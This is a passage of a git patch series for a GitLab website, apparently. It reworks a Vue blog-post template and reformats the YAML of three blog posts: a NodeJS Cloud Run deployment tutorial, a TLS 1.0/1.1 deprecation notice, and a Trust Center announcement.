-//         .where({ slug: { $ne: currentPostSlug } })
-//         .sort({ date: -1 })
-//         .limit(3)
-//         .find(),
-//     );
-//     relatedPosts = recentPosts;
-//   }
-// } else {
-//   relatedPosts = post.relatedPosts;
-// }
+console.log(recentPosts.value)
 
 const crumbs = [{ title: 'Blog', href: '/blog/' }];
 
@@ -64,7 +53,7 @@ const readingTime = computed(() => {
       <BlogPostShareWrapper v-bind="post">
         <BlogPostBody v-bind="post" />
       </BlogPostShareWrapper>
-      <!-- <BlogResources v-if="relatedPosts && relatedPosts.length" :posts="relatedPosts" /> -->
+      <BlogResources v-if="recentPosts && recentPosts.length" :posts="recentPosts" />
       <!-- <BlogContactCta /> -->
     </SlpContainer>
     <CommonGetStarted />
diff --git a/content.config.ts b/content.config.ts
index fc66a6419..845633591 100644
--- a/content.config.ts
+++ b/content.config.ts
@@ -21,6 +21,10 @@ export default defineContentConfig({
         exclude: ['**/blog/authors/**', '**/blog/categories/**', '**/blog/tags/**'],
         prefix: '/',
       },
+      schema: z.object({
+        category: z.string(),
+        date: z.string()
+      }),
     }),
 
     // Blog Authors
diff --git a/content/en-us/blog/deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration.yml b/content/en-us/blog/deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration.yml
index 7b7c83ba9..35e041576 100644
--- a/content/en-us/blog/deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration.yml
+++ b/content/en-us/blog/deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration.yml
@@ -27,204 +27,199 @@ seo:
             "datePublished": "2025-01-13",
           }
 
-content:
-  title: Deploy a NodeJS Express app with GitLab's Cloud Run integration
-  description: >-
-    This tutorial will show you how to use NodeJS and Express to deploy an
-    application to Google Cloud. This step-by-step guide will have you up and
-    running in less than 10 minutes with the Cloud Run integration.
-  authors:
-    - Sarah Matthies
-    - Noah Ing
-  heroImage: images/blog/hero-images/speedlights.png
-  date: '2025-01-13'
-  body: >
-    Are you looking to deploy your NodeJS app to Google Cloud with the least
-    maintenance possible? This tutorial will show you how to utilize GitLab’s
-    Google Cloud integration to deploy your NodeJS app in less than 10 minutes.
+title: Deploy a NodeJS Express app with GitLab's Cloud Run integration
+description: >-
+  This tutorial will show you how to use NodeJS and Express to deploy an
+  application to Google Cloud. This step-by-step guide will have you up and
+  running in less than 10 minutes with the Cloud Run integration.
+authors:
+  - Sarah Matthies
+  - Noah Ing
+heroImage: images/blog/hero-images/speedlights.png
+date: '2025-01-13'
+body: >
+  Are you looking to deploy your NodeJS app to Google Cloud with the least
+  maintenance possible? This tutorial will show you how to utilize GitLab’s
+  Google Cloud integration to deploy your NodeJS app in less than 10 minutes.
 
 
-    Traditionally, deploying an application often requires assistance from
-    production or DevOps engineers. This integration now empowers developers to
-    handle deployments independently. Whether you’re a solo developer or part of
-    a large team, this setup gives everyone the ability to deploy their
-    applications efficiently.
+  Traditionally, deploying an application often requires assistance from
+  production or DevOps engineers. This integration now empowers developers to
+  handle deployments independently. Whether you’re a solo developer or part of
+  a large team, this setup gives everyone the ability to deploy their
+  applications efficiently.
 
 
-    ## Overview
+  ## Overview
 
 
-    - Create a new project in GitLab
+  - Create a new project in GitLab
 
-    - Set up your NodeJS application
+  - Set up your NodeJS application
 
-    - Use the Google Cloud integration to create a Service account
+  - Use the Google Cloud integration to create a Service account
 
-    - Use the Google Cloud integration to configure Cloud Run via Merge Request
+  - Use the Google Cloud integration to configure Cloud Run via Merge Request
 
-    - Enjoy your newly deployed Java Spring Boot app
+  - Enjoy your newly deployed Java Spring Boot app
 
-    - Follow the cleanup guide
+  - Follow the cleanup guide
 
 
-    ## Prerequisites
+  ## Prerequisites
 
-    - Owner access on a Google Cloud Platform project
+  - Owner access on a Google Cloud Platform project
 
-    - Working knowledge of JavaScript/TypeScript (not playing favorites here!)
+  - Working knowledge of JavaScript/TypeScript (not playing favorites here!)
 
-    - Working knowledge of GitLab CI
+  - Working knowledge of GitLab CI
 
-    - 10 minutes 
+  - 10 minutes 
 
 
-    ## Step-by-step guide
+  ## Step-by-step guide
 
 
-    ### 1. Create a new project in GitLab
+  ### 1. Create a new project in GitLab
 
 
-    We decided to call our project `nodejs–express-cloud-run` for simplicity.
+  We decided to call our project `nodejs–express-cloud-run` for simplicity.
 
 
-    ![Create a new
-    project](//images.ctfassets.net/r9o86ar0p03f/58du8DdOUEqAOpwTOkbHGQ/8a1a793aeae9babd9042c59ed2e13e71/image1.png)
+  ![Create a new
+  project](//images.ctfassets.net/r9o86ar0p03f/58du8DdOUEqAOpwTOkbHGQ/8a1a793aeae9babd9042c59ed2e13e71/image1.png)
 
 
-    ### 2. Upload your NodeJS app or use this example to get started.
+  ### 2. Upload your NodeJS app or use this example to get started.
 
 
-    [Demo](https://gitlab.com/demos/templates/nodejs-cloud-run)
+  [Demo](https://gitlab.com/demos/templates/nodejs-cloud-run)
 
 
-    **Note:** Make sure to include the `cloud-run` [CI
-    template](https://gitlab.com/gitlab-org/incubation-engineering/five-minute-production/library/-/raw/main/gcp/cloud-run.gitlab-ci.yml)
-    within your project.
+  **Note:** Make sure to include the `cloud-run` [CI
+  template](https://gitlab.com/gitlab-org/incubation-engineering/five-minute-production/library/-/raw/main/gcp/cloud-run.gitlab-ci.yml)
+  within your project.
 
 
-    ![cloud-run CI template
-    include](//images.ctfassets.net/r9o86ar0p03f/3BeRRhtMDzTMhrjCTcWwkw/bdebb221bf688c8a7810d1d7eeadba65/image6.png)
+  ![cloud-run CI template
+  include](//images.ctfassets.net/r9o86ar0p03f/3BeRRhtMDzTMhrjCTcWwkw/bdebb221bf688c8a7810d1d7eeadba65/image6.png)
 
 
-    ### 3. Use the Google Cloud integration to create a Service account.
+  ### 3. Use the Google Cloud integration to create a Service account.
 
 
-    Navigate to __Operate > Google Cloud > Create Service account__.
+  Navigate to __Operate > Google Cloud > Create Service account__.
 
 
-    ![Create Service account
-    screen](//images.ctfassets.net/r9o86ar0p03f/1nekQNPGU3RbPKQyUDwFsN/76c448239122fa0a9951544373395302/image10.png)
+  ![Create Service account
+  screen](//images.ctfassets.net/r9o86ar0p03f/1nekQNPGU3RbPKQyUDwFsN/76c448239122fa0a9951544373395302/image10.png)
 
 
-    Also configure the region you would like the Cloud Run instance deployed to.
+  Also configure the region you would like the Cloud Run instance deployed to.
 
 
-    ![Cloud Run instance deployment region
-    selection](//images.ctfassets.net/r9o86ar0p03f/2BRD9frHRugvFm54nGLC3J/8caa584233eb372b84df0f6f5611727d/image2.png)
+  ![Cloud Run instance deployment region
+  selection](//images.ctfassets.net/r9o86ar0p03f/2BRD9frHRugvFm54nGLC3J/8caa584233eb372b84df0f6f5611727d/image2.png)
 
 
-    ### 4. Go to the Deployments tab and use the Google Cloud integration to
-    configure __Cloud Run via Merge Request__.
+  ### 4. Go to the Deployments tab and use the Google Cloud integration to
+  configure __Cloud Run via Merge Request__.
 
 
-    ![Deployments - Configuration of Cloud Run via Merge
-    Request](//images.ctfassets.net/r9o86ar0p03f/4A78xJvstOZudEljO3dxFn/8f250dca0a8d57fc4c5256d14141e792/image5.png)
+  ![Deployments - Configuration of Cloud Run via Merge
+  Request](//images.ctfassets.net/r9o86ar0p03f/4A78xJvstOZudEljO3dxFn/8f250dca0a8d57fc4c5256d14141e792/image5.png)
 
 
-    This will open a merge request – immediately merge it.
+  This will open a merge request – immediately merge it.
 
 
-    ![Merge request for
-    deployment](//images.ctfassets.net/r9o86ar0p03f/7l7jg8eL9bAWwOvnH9w4JY/8fa24ef53d76ff4e806b8dcb3388bfe6/image8.png)
+  ![Merge request for
+  deployment](//images.ctfassets.net/r9o86ar0p03f/7l7jg8eL9bAWwOvnH9w4JY/8fa24ef53d76ff4e806b8dcb3388bfe6/image8.png)
 
 
-    __Note:__ `GCP_PROJECT_ID`, `GCP_REGION`, `GCP_SERVICE_ACCOUNT`, and
-    `GCP_SERVICE_ACCOUNT_KEY` will all be automatically populated from the
-    previous steps.
+  __Note:__ `GCP_PROJECT_ID`, `GCP_REGION`, `GCP_SERVICE_ACCOUNT`, and
+  `GCP_SERVICE_ACCOUNT_KEY` will all be automatically populated from the
+  previous steps.
 
 
-    ![Variables
-    listing](//images.ctfassets.net/r9o86ar0p03f/2c4MdEkUU0ygyB1bosE5HP/b630fb43eaac5aafa4ae519baf332907/image4.png)
+  ![Variables
+  listing](//images.ctfassets.net/r9o86ar0p03f/2c4MdEkUU0ygyB1bosE5HP/b630fb43eaac5aafa4ae519baf332907/image4.png)
 
 
-    ### 5. Voila! Check your pipeline and you will see you have successfully
-    deployed to Google Cloud Run using GitLab CI.
+  ### 5. Voila! Check your pipeline and you will see you have successfully
+  deployed to Google Cloud Run using GitLab CI.
 
 
-    ![Successful deployment to Google Cloud
-    Run](//images.ctfassets.net/r9o86ar0p03f/2qyph9FGS71wGpMt2eJ7ZX/c2c13275937c2576d7dffd143203b430/image3.png)
+  ![Successful deployment to Google Cloud
+  Run](//images.ctfassets.net/r9o86ar0p03f/2qyph9FGS71wGpMt2eJ7ZX/c2c13275937c2576d7dffd143203b430/image3.png)
 
 
-    Click the Service URL to view your newly deployed Node server.
+  Click the Service URL to view your newly deployed Node server.
 
 
-    ![View newly deployed Node
-    server](//images.ctfassets.net/r9o86ar0p03f/36o64dX1H8ijuNbpiXCf9L/3ada79b96d570dbd57739c41c1324368/image7.png)
+  ![View newly deployed Node
+  server](//images.ctfassets.net/r9o86ar0p03f/36o64dX1H8ijuNbpiXCf9L/3ada79b96d570dbd57739c41c1324368/image7.png)
 
 
-    In addition, you can navigate to __Operate > Environments__ to see a list of
-    deployments for your environments.
+  In addition, you can navigate to __Operate > Environments__ to see a list of
+  deployments for your environments.
 
 
-    ![Environments view of deployment
-    list](//images.ctfassets.net/r9o86ar0p03f/5M8Iy1yxkF3vatHc6htkBV/5eacb4762df8183a8eb07514c7dbaa12/image12.png)
+  ![Environments view of deployment
+  list](//images.ctfassets.net/r9o86ar0p03f/5M8Iy1yxkF3vatHc6htkBV/5eacb4762df8183a8eb07514c7dbaa12/image12.png)
 
 
-    By clicking on the environment called `main`, you’ll be able to view a
-    complete list of deployments specific to that environment.
+  By clicking on the environment called `main`, you’ll be able to view a
+  complete list of deployments specific to that environment.
 
 
-    ![Main view of deployments to specific
-    environment](//images.ctfassets.net/r9o86ar0p03f/6byXvhfYCnbysIlMZ48Ejz/41aab96d281a43d75409636c449ec396/image9.png)
+  ![Main view of deployments to specific
+  environment](//images.ctfassets.net/r9o86ar0p03f/6byXvhfYCnbysIlMZ48Ejz/41aab96d281a43d75409636c449ec396/image9.png)
 
 
-    ### 6. Next steps
+  ### 6. Next steps
 
 
-    To get started with developing your Node application, try adding another
-    endpoint. For instance, in your `index.js` file, you can add a **/bye**
-    endpoint as shown below:
+  To get started with developing your Node application, try adding another
+  endpoint. For instance, in your `index.js` file, you can add a **/bye**
+  endpoint as shown below:
 
 
-    ```
+  ```
 
-    app.get('/bye', (req, res) => {
-      res.send(`Have a great day! See you!`);
-    });
+  app.get('/bye', (req, res) => {
+    res.send(`Have a great day! See you!`);
+  });
 
 
-    ```
+  ```
 
 
-    Push the changes to the repo, and watch the `deploy-to-cloud-run` job deploy
-    the updates. Once it’s complete, go back to the Service URL and navigate to
-    the **/bye** endpoint to see the new functionality in action.
+  Push the changes to the repo, and watch the `deploy-to-cloud-run` job deploy
+  the updates. Once it’s complete, go back to the Service URL and navigate to
+  the **/bye** endpoint to see the new functionality in action.
 
 
-    ![Bye
-    message](//images.ctfassets.net/r9o86ar0p03f/1Wao8In9CGlte4CtnzzRPm/607a3c11a070a57815ad05b6988245ef/image11.png)
+  ![Bye
+  message](//images.ctfassets.net/r9o86ar0p03f/1Wao8In9CGlte4CtnzzRPm/607a3c11a070a57815ad05b6988245ef/image11.png)
 
 
-    ## Follow the cleanup guide
+  ## Follow the cleanup guide
 
 
-    To prevent incurring charges on your Google Cloud account for the resources
-    used in this tutorial, you can either delete the specific resources or
-    delete the entire Google Cloud project. For detailed instructions, refer to
-    the [cleanup guide
-    here](https://docs.gitlab.com/ee/tutorials/create_and_deploy_web_service_with_google_cloud_run_component/#clean-up).
+  To prevent incurring charges on your Google Cloud account for the resources
+  used in this tutorial, you can either delete the specific resources or
+  delete the entire Google Cloud project. For detailed instructions, refer to
+  the [cleanup guide
+  here](https://docs.gitlab.com/ee/tutorials/create_and_deploy_web_service_with_google_cloud_run_component/#clean-up).
 
 
-    > Read more of these helpful [tutorials from GitLab solutions
-    architects](https://about.gitlab.com/blog/tags/solutions-architecture/).
-  category: Engineering
-  tags:
-    - CI/CD
-    - google
-    - integrations
-    - solutions architecture
-    - tutorial
-config:
-  slug: deploy-a-nodejs-express-app-with-gitlabs-cloud-run-integration
-  featured: true
-  template: BlogPost
+  > Read more of these helpful [tutorials from GitLab solutions
+  architects](https://about.gitlab.com/blog/tags/solutions-architecture/).
+category: Engineering
+tags:
+  - CI/CD
+  - google
+  - integrations
+  - solutions architecture
+  - tutorial
diff --git a/content/en-us/blog/gitlab-to-deprecate-older-tls.yml b/content/en-us/blog/gitlab-to-deprecate-older-tls.yml
index af02e36e0..be52c4752 100644
--- a/content/en-us/blog/gitlab-to-deprecate-older-tls.yml
+++ b/content/en-us/blog/gitlab-to-deprecate-older-tls.yml
@@ -19,100 +19,97 @@ seo:
             "datePublished": "2018-10-15",
           }
 
-content:
-  title: GitLab to deprecate support for TLS 1.0 and TLS 1.1 by end of 2018
-  description: Support for TLS 1.0 and 1.1 will be disabled on December 15th, 2018
-  authors:
-    - Melissa Farber
-  heroImage: images/blog/hero-images/default-blog-image.png
-  date: '2018-10-15'
-  body: >-
-
-
-    We are focused on improving our security posture at GitLab and are always
-    working to evolve our security processes. Part of that evolution is the
-    incorporation of stronger cryptographic standards into our environment, and
-    the deprecation of those that have been rendered out-dated or proven to be
-    prone-to-attacks. In an effort to continue to raise that bar, we are
-    announcing our plan to discontinue support for Transport Layer Security
-    (TLS) 1.0 and 1.1 on GitLab.com and in our GitLab API by December 15, 2018.
-    To that end, we have published this [public
-    issue](https://gitlab.com/gitlab-com/security/issues/202) that will be used
-    to track progress of this initiative and provide updates to the GitLab
-    community.
+title: GitLab to deprecate support for TLS 1.0 and TLS 1.1 by end of 2018
+description: Support for TLS 1.0 and 1.1 will be disabled on December 15th, 2018
+authors:
+  - Melissa Farber
+heroImage: images/blog/hero-images/default-blog-image.png
+date: '2018-10-15'
+body: >-
+  We are focused on improving our security posture at GitLab and are always
+  working to evolve our security processes. Part of that evolution is the
+  incorporation of stronger cryptographic standards into our environment, and
+  the deprecation of those that have been rendered out-dated or proven to be
+  prone-to-attacks. In an effort to continue to raise that bar, we are
+  announcing our plan to discontinue support for Transport Layer Security
+  (TLS) 1.0 and 1.1 on GitLab.com and in our GitLab API by December 15, 2018.
+  To that end, we have published this [public
+  issue](https://gitlab.com/gitlab-com/security/issues/202) that will be used
+  to track progress of this initiative and provide updates to the GitLab
+  community.
 
 
-    Currently, GitLab.com supports TLS 1.0 and TLS 1.1. There have been many
-    serious security issues reported with TLS 1.0 and TLS 1.1, including but not
-    limited to [Heartbleed](http://heartbleed.com/).
+  Currently, GitLab.com supports TLS 1.0 and TLS 1.1. There have been many
+  serious security issues reported with TLS 1.0 and TLS 1.1, including but not
+  limited to [Heartbleed](http://heartbleed.com/).
 
 
-    In addition, from a security compliance standpoint, the Payment Card
-    Industry (PCI) DSS 3.1 standard mandates the migration away from these
-    weaker cryptographic standards. This mandate is to exclude Secure Sockets
-    Layer (SSL) 3.0, TLS 1.0, and some ciphers supported by TLS 1.1 from
-    protocols supporting strong cryptography.
+  In addition, from a security compliance standpoint, the Payment Card
+  Industry (PCI) DSS 3.1 standard mandates the migration away from these
+  weaker cryptographic standards. This mandate is to exclude Secure Sockets
+  Layer (SSL) 3.0, TLS 1.0, and some ciphers supported by TLS 1.1 from
+  protocols supporting strong cryptography.
 
-    Our intent in making this announcement and creating the [public
-    issue](https://gitlab.com/gitlab-com/security/issues/202) is to minimize any
-    potential operational disruptions to GitLab.com customers while deprecating
-    TLS 1.0 and TLS 1.1. This post is the first of three that we will publish
-    during this interim period prior to disabling support for TLS 1.0 and 1.1 on
-    December 15th, 2018.
+  Our intent in making this announcement and creating the [public
+  issue](https://gitlab.com/gitlab-com/security/issues/202) is to minimize any
+  potential operational disruptions to GitLab.com customers while deprecating
+  TLS 1.0 and TLS 1.1. This post is the first of three that we will publish
+  during this interim period prior to disabling support for TLS 1.0 and 1.1 on
+  December 15th, 2018.
 
-    As always, we will continue to monitor TLS 1.0 and 1.1 vulnerabilities and
-    will adapt our timeline as required to mitigate protocol-level issues if
-    they arise.  In addition to the monthly blog posts on the status of this
-    initiative, updates to timelines will be posted to our Twitter feed and
-    tracked in [public
-    issues](https://gitlab.com/gitlab-com/security/issues/202). Additionally,
-    GitLab.com users who have opted to receive [security alert
-    emails](/company/preference-center/) from GitLab will receive status updates
-    regarding the this deprecation process.
+  As always, we will continue to monitor TLS 1.0 and 1.1 vulnerabilities and
+  will adapt our timeline as required to mitigate protocol-level issues if
+  they arise.  In addition to the monthly blog posts on the status of this
+  initiative, updates to timelines will be posted to our Twitter feed and
+  tracked in [public
+  issues](https://gitlab.com/gitlab-com/security/issues/202). Additionally,
+  GitLab.com users who have opted to receive [security alert
+  emails](/company/preference-center/) from GitLab will receive status updates
+  regarding the this deprecation process.
 
 
-    If you have any questions, please reach out to the Security team by emailing
-    security@gitlab.com
+  If you have any questions, please reach out to the Security team by emailing
+  security@gitlab.com
 
 
-    ## Identified client incompatibilities
+  ## Identified client incompatibilities
 
 
-    The majority of traffic should be unaffected by the deprecation of support
-    for versions 1.0 and 1.1. Currently, the nof requests to GitLab.com are
-    using up-to-date clients with support for TLS1.2. Whereas there are a few
-    remaining clients that we believe will be affected (see below) most of these
-    can be updated to work with TLS 1.2.
+  The majority of traffic should be unaffected by the deprecation of support
+  for versions 1.0 and 1.1. Currently, the nof requests to GitLab.com are
+  using up-to-date clients with support for TLS1.2. Whereas there are a few
+  remaining clients that we believe will be affected (see below) most of these
+  can be updated to work with TLS 1.2.
 
 
-    ### Git-Credential-Manager-for-Windows prior to 1.14.0
+  ### Git-Credential-Manager-for-Windows prior to 1.14.0
 
-    Versions prior to 1.14.0 of Git-Credential-Manager-for-Windows do not
-    support TLSv1.2. This can be addressed by updating to v1.14.0.    
+  Versions prior to 1.14.0 of Git-Credential-Manager-for-Windows do not
+  support TLSv1.2. This can be addressed by updating to v1.14.0.    
 
 
-    ### Git on Red Hat 5, < 6.8, and < 7.2
+  ### Git on Red Hat 5, < 6.8, and < 7.2
 
-    Users running Red Hat 5 are advised to upgrade to a newer version of the
-    operating system as Red Hat does not have a point release planned for 5 that
-    supports TLS 1.2. Git clients shipped with Red Hat 6 and 7 did not support
-    TLSv1.2, which can be remediated by updating to versions 6.8 and 7.2
-    respectively.
+  Users running Red Hat 5 are advised to upgrade to a newer version of the
+  operating system as Red Hat does not have a point release planned for 5 that
+  supports TLS 1.2. Git clients shipped with Red Hat 6 and 7 did not support
+  TLSv1.2, which can be remediated by updating to versions 6.8 and 7.2
+  respectively.
 
 
-    ### JGit / Java releases < JDK 8
+  ### JGit / Java releases < JDK 8
 
-    Versions of the JDK 6 and prior do not support TLSv1.2. We advise users of
-    JDK <= 6 to upgrade to a newer version of the JDK.
+  Versions of the JDK 6 and prior do not support TLSv1.2. We advise users of
+  JDK <= 6 to upgrade to a newer version of the JDK.
 
 
-    ### Visual Studio
+  ### Visual Studio
 
-    The latest version of Visual Studio 2017 supports TLSv1.2. Users not running
-    the latest version are advised to upgrade.
-  category: Company
-  tags:
-    - security
+  The latest version of Visual Studio 2017 supports TLSv1.2. Users not running
+  the latest version are advised to upgrade.
+category: Company
+tags:
+  - security
 config:
   slug: gitlab-to-deprecate-older-tls
   featured: false
diff --git a/content/en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance.yml b/content/en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance.yml
index 3cb0c98ca..b3aafbdc5 100644
--- a/content/en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance.yml
+++ b/content/en-us/blog/gitlab-trust-center-welcome-to-self-service-customer-assurance.yml
@@ -26,150 +26,148 @@ seo:
             "author": [{"@type":"Person","name":"Joseph Longo"}],
             "datePublished": "2024-01-09",
           }
-
-content:
-  title: 'GitLab Trust Center: Welcome to self-service customer assurance'
-  description: >-
-    The single, unified trust center provides access to security and privacy
-    collateral, streamlined questionnaire submissions, an interactive knowledge
-    base, and GitLab updates.
-  authors:
-    - Joseph Longo
-  heroImage: images/blog/hero-images/gitlabflatlogomap.png
-  date: '2024-01-09'
-  body: >-
-    GitLab, the most comprehensive AI-powered DevSecOps platform, exhibits
-    unity, simplicity, and efficiency. To effectively represent GitLab and
-    support our customers, we created the [GitLab Trust
-    Center](https://trust.gitlab.com), a centralized, interactive, information
-    portal that exhibits the same characteristics.
+title: 'GitLab Trust Center: Welcome to self-service customer assurance'
+description: >-
+  The single, unified trust center provides access to security and privacy
+  collateral, streamlined questionnaire submissions, an interactive knowledge
+  base, and GitLab updates.
+authors:
+  - Joseph Longo
+heroImage: images/blog/hero-images/gitlabflatlogomap.png
+date: '2024-01-09'
+body: >-
+  GitLab, the most comprehensive AI-powered DevSecOps platform, exhibits
+  unity, simplicity, and efficiency. To effectively represent GitLab and
+  support our customers, we created the [GitLab Trust
+  Center](https://trust.gitlab.com), a centralized, interactive, information
+  portal that exhibits the same characteristics.
 
 
-    The GitLab Trust Center is powered by [SafeBase](http://safebase.io/), which
-    allows us to maintain a single, unified location for communicating our
-    compliance and assurance credentials, hosting our security and privacy
-    documentation for customer consumption, sharing important notices such as
-    responses to third-party breaches, and hosting our internal knowledge base
-    where customers can readily access the same answers we provide in
-    questionnaire responses. The GitLab Trust Center includes a portal for both
-    GitLab.com and GitLab Dedicated.
+  The GitLab Trust Center is powered by [SafeBase](http://safebase.io/), which
+  allows us to maintain a single, unified location for communicating our
+  compliance and assurance credentials, hosting our security and privacy
+  documentation for customer consumption, sharing important notices such as
+  responses to third-party breaches, and hosting our internal knowledge base
+  where customers can readily access the same answers we provide in
+  questionnaire responses. The GitLab Trust Center includes a portal for both
+  GitLab.com and GitLab Dedicated.
 
 
-    ## Creating the GitLab Trust Center
+  ## Creating the GitLab Trust Center
 
 
-    When I joined GitLab in 2022, a single, unified trust center did not exist.
-    We maintained two distinct pages, our "Trust Center" page, which primarily
-    highlighted our compliance and assurance credentials, and our Customer
-    Assurance Package (CAP) page, which allowed the community to preview the
-    different CAPs we maintained, review the documents contained within each
-    package, and download/request each package.
+  When I joined GitLab in 2022, a single, unified trust center did not exist.
+  We maintained two distinct pages, our "Trust Center" page, which primarily
+  highlighted our compliance and assurance credentials, and our Customer
+  Assurance Package (CAP) page, which allowed the community to preview the
+  different CAPs we maintained, review the documents contained within each
+  package, and download/request each package.
 
 
-    While these pages allowed us to support our customers' requests, they could
-    be difficult to find and were supported by manual processes to triage
-    inbound requests for security documentation, questionnaires, and other
-    miscellaneous security and privacy requests. We needed to redefine our
-    processes and deploy a trust center that represented GitLab.
+  While these pages allowed us to support our customers' requests, they could
+  be difficult to find and were supported by manual processes to triage
+  inbound requests for security documentation, questionnaires, and other
+  miscellaneous security and privacy requests. We needed to redefine our
+  processes and deploy a trust center that represented GitLab.
 
 
-    ![trust center
-    screenshot](//images.ctfassets.net/r9o86ar0p03f/5mChQ0vui9925CJKTGMKco/7e86e3ccc7c14087a40fa3cff7024bf4/image2.png)
+  ![trust center
+  screenshot](//images.ctfassets.net/r9o86ar0p03f/5mChQ0vui9925CJKTGMKco/7e86e3ccc7c14087a40fa3cff7024bf4/image2.png)
 
 
-    ## The benefits of the GitLab Trust Center
+  ## The benefits of the GitLab Trust Center
 
 
-    Let's dive into the biggest benefits of the new Trust Center.
+  Let's dive into the biggest benefits of the new Trust Center.
 
 
-    ### Self-service consumption of security and privacy collateral
+  ### Self-service consumption of security and privacy collateral
 
 
-    Customers can download all of our available security and privacy collateral
-    directly from the GitLab Trust Center.
+  Customers can download all of our available security and privacy collateral
+  directly from the GitLab Trust Center.
 
 
-    For documents that require an NDA, prospects and customers can sign the NDA
-    directly in SafeBase to receive access to documents in minutes rather than
-    days.
+  For documents that require an NDA, prospects and customers can sign the NDA
+  directly in SafeBase to receive access to documents in minutes rather than
+  days.
 
 
-    ### Streamlined questionnaire submissions
+  ### Streamlined questionnaire submissions
 
 
-    For customers with questions that are not answered by the available
-    collateral or knowledgebase, the GitLab Trust Center offers an interface to
-    upload questions directly.
+  For customers with questions that are not answered by the available
+  collateral or knowledgebase, the GitLab Trust Center offers an interface to
+  upload questions directly.
 
 
-    Customers can use the "Submit a Questionnaire" button in the upper right
-    corner of the Trust Center to submit a questionnaire or a link to their
-    third-party questionnaire portal.
+  Customers can use the "Submit a Questionnaire" button in the upper right
+  corner of the Trust Center to submit a questionnaire or a link to their
+  third-party questionnaire portal.
 
 
-    ![trust center
-    questionnaire](//images.ctfassets.net/r9o86ar0p03f/7Bbntr4rBtJptsiJBIm3Zf/e49989c10eb65e8693826a9ea4108722/image3.png)
+  ![trust center
+  questionnaire](//images.ctfassets.net/r9o86ar0p03f/7Bbntr4rBtJptsiJBIm3Zf/e49989c10eb65e8693826a9ea4108722/image3.png)
 
 
-    This simple process allows us to centralize our customer assurance
-    activities in a single location and empowers customers to be
-    self-sufficient, which will ultimately accelerate security review processes.
+  This simple process allows us to centralize our customer assurance
+  activities in a single location and empowers customers to be
+  self-sufficient, which will ultimately accelerate security review processes.
 
 
-    ### GitLab updates subscription
+  ### GitLab updates subscription
 
 
-    Customers can now subscribe to the GitLab Trust Center for the latest
-    updated collateral documents and communications related to third-party
-    security incidents.
+  Customers can now subscribe to the GitLab Trust Center for the latest
+  updated collateral documents and communications related to third-party
+  security incidents.
 
 
-    This proactive approach delivers important and actionable information as
-    quickly as possible and further enables our customers to be self-sufficient
-    through their existing workflows.
+  This proactive approach delivers important and actionable information as
+  quickly as possible and further enables our customers to be self-sufficient
+  through their existing workflows.
 
 
-    ![trust center subscribe
-    ](//images.ctfassets.net/r9o86ar0p03f/40k96HLMiqZ77afr1ikRMw/9a9b487333137527b64dbac05e697a5d/image1.png)
+  ![trust center subscribe
+  ](//images.ctfassets.net/r9o86ar0p03f/40k96HLMiqZ77afr1ikRMw/9a9b487333137527b64dbac05e697a5d/image1.png)
 
 
-    ### Trust through transparency
+  ### Trust through transparency
 
 
-    At GitLab, we believe transparency is a critical component of building
-    trust. As a [handbook-first company](https://handbook.gitlab.com/security),
-    we publicize a wealth of information, including all of our [controlled
-    documents](https://handbook.gitlab.com/handbook/security/controlled-document-procedure/)
-    (policies, standards, etc.), many of our internal processes, and much more!
+  At GitLab, we believe transparency is a critical component of building
+  trust. As a [handbook-first company](https://handbook.gitlab.com/security),
+  we publicize a wealth of information, including all of our [controlled
+  documents](https://handbook.gitlab.com/handbook/security/controlled-document-procedure/)
+  (policies, standards, etc.), many of our internal processes, and much more!
 
 
-    To fully support our transparent culture and to enable our customers to be
-    as self-sufficient as possible, we have made our knowledge base publicly
-    available through the GitLab Trust Center so all customers can self-serve
-    answers to their questions at any time.
+  To fully support our transparent culture and to enable our customers to be
+  as self-sufficient as possible, we have made our knowledge base publicly
+  available through the GitLab Trust Center so all customers can self-serve
+  answers to their questions at any time.
 
 
-    The knowledge base consists of questions and answers related to many
-    different topics that are typically found in vendor review questionnaires.
-    You can search and filter for the information you need to support your
-    third-party risk management (TPRM) reviews and confirm that GitLab is a
-    trusted partner that will enable your organization to unlock its full
-    potential and develop secure code faster.
+  The knowledge base consists of questions and answers related to many
+  different topics that are typically found in vendor review questionnaires.
+  You can search and filter for the information you need to support your
+  third-party risk management (TPRM) reviews and confirm that GitLab is a
+  trusted partner that will enable your organization to unlock its full
+  potential and develop secure code faster.
 
 
-    ## Learn more
+  ## Learn more
 
 
-    To learn more about our 100% self-service customer assurance process and how
-    you can streamline your TPRM review, visit the [GitLab Trust
-    Center](https://trust.gitlab.com) and explore all of the great content and
-    resources available to you.
-  category: Security
-  tags:
-    - DevSecOps platform
-    - customers
-    - security
+  To learn more about our 100% self-service customer assurance process and how
+  you can streamline your TPRM review, visit the [GitLab Trust
+  Center](https://trust.gitlab.com) and explore all of the great content and
+  resources available to you.
+category: Security
+tags:
+  - DevSecOps platform
+  - customers
+  - security
 config:
   slug: gitlab-trust-center-welcome-to-self-service-customer-assurance
   featured: true
-- 
GitLab


From 370080c133905ba469253adada072bc8d01f3ffd Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 11:36:44 -0500
Subject: [PATCH 33/56] remove log

---
 components/templates/BlogPost.vue | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/templates/BlogPost.vue b/components/templates/BlogPost.vue
index 568ccd617..bd3c92383 100644
--- a/components/templates/BlogPost.vue
+++ b/components/templates/BlogPost.vue
@@ -19,8 +19,6 @@ const { data: recentPosts } = await useAsyncData(() =>
     .all()
 );
 
-console.log(recentPosts.value)
-
 const crumbs = [{ title: 'Blog', href: '/blog/' }];
 
 if (post.category) {
-- 
GitLab


From 014a6c16700aeb5c9aea21c87a99f40ed0747a72 Mon Sep 17 00:00:00 2001
From: Nathan Dubord <ndubord@gitlab.com>
Date: Wed, 5 Mar 2025 11:37:35 -0500
Subject: [PATCH 34/56] linting

---
 components/templates/BlogPost.vue | 5 +----
 content.config.ts                 | 2 +-
 2 files changed, 2 insertions(+), 5 deletions(-)

diff --git a/components/templates/BlogPost.vue b/components/templates/BlogPost.vue
index bd3c92383..4d98f96c1 100644
--- a/components/templates/BlogPost.vue
+++ b/components/templates/BlogPost.vue
